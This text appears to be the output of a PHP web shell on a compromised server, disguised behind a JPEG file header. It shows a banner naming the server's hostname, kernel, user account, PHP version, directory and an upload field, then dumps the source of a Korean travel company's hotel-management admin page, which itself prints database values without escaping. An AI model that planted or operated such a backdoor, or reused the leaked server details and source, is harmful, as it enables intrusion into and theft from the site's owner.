ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/toadmin/hotel_tw/ |
Upload File : |
<? include "../include/top.html"; include "_common.php"; $sql = "select * from TB_HOTEL_MAIN order by idx desc "; $rs = db_query($sql); $data = db_fetch_all($rs); ?> <div class="contents_wrap"> <div class="contents_wrap_in"> <div class="title">메인관리</div> <div class="contents_detail"> <div class="setting_wrap"> <ul class="btn_check2"> <li class="btn"><a href="javascript:;" onClick="to_dialog.iframe('hotel_main2_write.html','추천호텔등록','700','400',true,true,'no')">등록</a></li> </ul> <table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_list"> <thead> <tr> <td colspan="7" class="t_top_line"></td> </tr> <tr> <th width="45">사용</th> <th width="230">제목</th> <th>url</th> <th width="170">저장일시</th> </tr> </thead> <tbody> <? for($i=0,$j=1 ; $i < count($data) ; $i++,$j++){ $row = $data[$i]; if($row['disp_yn']=="Y") { $opp = "btn_check.gif"; $opp_str = "N"; }else{ $opp = "btn_stop.gif"; $opp_str = "Y"; } ?> <tr> <td> <span id="disp_yn_<?=$row['idx']?>" style="cursor:pointer;"> <img src="../image/btn/<?=$opp?>" onClick="ajax_obj_loader('hotel_main2_proc.php?SqlType=disp_yn&idx=<?=$row['idx']?>&disp_yn=<?=$opp_str?>','disp_yn_<?=$row['idx']?>');" alt="사용여부체크" /> </span> </td> <td class="t_title"><a href="javascript:;" onClick="to_dialog.iframe('hotel_main2_write.html?idx=<?=$row['idx']?>','추천호텔수정','700','450',true,true,'no')"><b><?=$row['title']?></b></a></td> <td class="t_title"><a href="<?=$row['link_url']?>" target="_blank"><?=cut_str($row['link_url'],100,"...")?></a></td> <td><?=$row['ins_dt']?></td> </tr> <?}?> </tbody> </table> </div> </div> </div> </div> <? include "../include/footer.html" ?>